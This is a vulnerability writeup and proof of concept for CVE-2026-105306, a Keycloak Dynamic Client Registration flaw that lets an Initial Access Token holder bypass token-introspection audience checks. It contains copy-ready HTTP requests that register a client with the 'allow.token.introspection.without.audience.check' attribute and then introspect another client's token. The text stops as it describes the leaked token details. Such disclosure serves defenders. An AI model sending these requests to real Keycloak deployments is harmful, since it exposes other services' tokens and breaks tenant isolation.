
Writeup and proof of concept for CVE-2026-105306, a Keycloak Dynamic Client Registration flaw that lets an Initial Access Token holder bypass token introspection audience checks.
CVE ID: CVE-2026-105306 · CWE: CWE-862 · CVSS 3.1: 6.5 (Medium)
Affected: Keycloak26.4.0–26.8.0/ Red Hat Build of Keycloak
Keycloak is a widely-deployed open-source Identity and Access Management (IAM) solution maintained by Red Hat, providing SSO, identity brokering, and user federation capabilities for enterprise applications.
During security research into Keycloak's client lifecycle management, I identified a critical flaw in the Dynamic Client Registration (DCR) flow: the registration endpoint fails to filter security-sensitive internal client attributes. This allows an authenticated registrant — holding only a standard Initial Access Token (IAT) — to inject the privileged allow.token.introspection.without.audience.check attribute during client creation.
Once set, this attribute instructs Keycloak's token introspection provider to skip audience verification entirely, enabling the attacker's client to introspect any active access token in the realm — regardless of the token's intended audience.
In a standard OAuth 2.0 deployment, resource servers validate bearer tokens by calling the authorization server's introspection endpoint:
POST /realms/{realm}/protocol/openid-connect/token/introspect
Keycloak enforces audience restrictions: a client can only introspect tokens where its client_id appears in the token's aud claim. This boundary is critical in multi-tenant and microservice architectures where multiple clients share a realm but must remain isolated.
However, Keycloak provides an internal administrator-only toggle:
allow.token.introspection.without.audience.check = true
When enabled on a client, AccessTokenIntrospectionProvider deliberately skips audience verification. This feature is intended exclusively for privileged use cases (centralized audit gateways, monitoring services) and should only be configurable by Realm Administrators through the Admin Console or Admin REST API.
DCR enables authorized entities to register OAuth 2.0 clients programmatically by POSTing client metadata to:
POST /realms/{realm}/clients-registrations/openid-connect
Authentication is performed via an Initial Access Token — a scoped credential that grants registration rights without full administrative privileges. Because DCR registrants are not administrators, the registration pipeline must strictly sanitize incoming attributes to prevent privilege escalation.
The vulnerability originates in Keycloak's AbstractClientRegistrationProvider and the RepresentationToModel mapping layer.
┌──────────────────────────────────────────────────────────────────┐
│ DCR Request Flow │
│ │
│ Attacker (IAT holder) │
│ │ │
│ ▼ │
│ POST /clients-registrations/openid-connect │
│ { │
│ "client_name": "attacker-client", │
│ "attributes": { │
│ "allow.token.introspection.without.audience.check": "true" │
│ } │
│ } │
│ │ │
│ ▼ │
│ AbstractClientRegistrationProvider │
│ │ │
│ │ NO FILTERING of internal attributes │
│ │ │
│ ▼ │
│ RepresentationToModel.createClient() │
│ │ │
│ ▼ │
│ ClientModel persisted with privileged attribute │
└──────────────────────────────────────────────────────────────────┘
ClientRepresentation object.AbstractClientRegistrationProvider forwards the entire unfiltered attributes map to RepresentationToModel.createClient().allow.token.introspection.without.audience.check is persisted directly into the client model in the database — without any validation or stripping.AccessTokenIntrospectionProviderWhen the attacker's client subsequently calls the introspection endpoint:
// Simplified flow in AccessTokenIntrospectionProvider
String bypassFlag = client.getAttribute(
"allow.token.introspection.without.audience.check"
);
if (Boolean.parseBoolean(bypassFlag)) {
// ⚠ AUDIENCE CHECK COMPLETELY BYPASSED
// Full token metadata returned regardless of audience
} else {
// Normal flow: verify client is in token's audience
if (!isClientInAudience(client, token)) {
return inactive();
}
}
Because the flag was injected during registration, audience verification is skipped entirely.
POST /realms/target-realm/clients-registrations/openid-connect HTTP/1.1
Host: keycloak.target.com
Authorization: Bearer <INITIAL_ACCESS_TOKEN>
Content-Type: application/json
{
"client_name": "attacker-introspection-client",
"redirect_uris": ["https://attacker.com/callback"],
"grant_types": ["client_credentials"],
"token_endpoint_auth_method": "client_secret_basic",
"attributes": {
"allow.token.introspection.without.audience.check": "true"
}
}
Response (201 Created):
{
"client_id": "attacker-introspection-client",
"client_secret": "generated-secret-abc123",
"registration_access_token": "...",
"client_name": "attacker-introspection-client",
"redirect_uris": ["https://attacker.com/callback"],
"attributes": {
"allow.token.introspection.without.audience.check": "true"
}
}
✅ The privileged attribute is accepted and persisted without restriction.
Using the registered client credentials, the attacker introspects a token that was issued to an entirely different client (internal-billing-service):
POST /realms/target-realm/protocol/openid-connect/token/introspect HTTP/1.1
Host: keycloak.target.com
Authorization: Basic <base64(attacker-introspection-client:generated-secret-abc123)>
Content-Type: application/x-www-form-urlencoded
token=<VICTIM_ACCESS_TOKEN>&token_type_hint=access_token
Despite attacker-introspection-client not being in the token's aud claim, Keycloak returns full token details: